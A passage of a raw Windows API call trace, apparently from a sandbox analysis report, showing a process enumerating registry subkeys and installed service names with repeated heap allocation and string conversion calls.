lpName="Enum") returned 0x0 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.105] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.105] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.105] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.105] RegCloseKey (hKey=0x154) returned 0x0 [0236.105] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0236.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.106] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a48, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.106] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1df0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.106] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a48, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0236.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.107] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1df0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.107] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.107] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.107] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0236.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.108] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.108] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.108] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1df0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0236.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.109] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.109] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.109] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.109] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.110] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.110] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 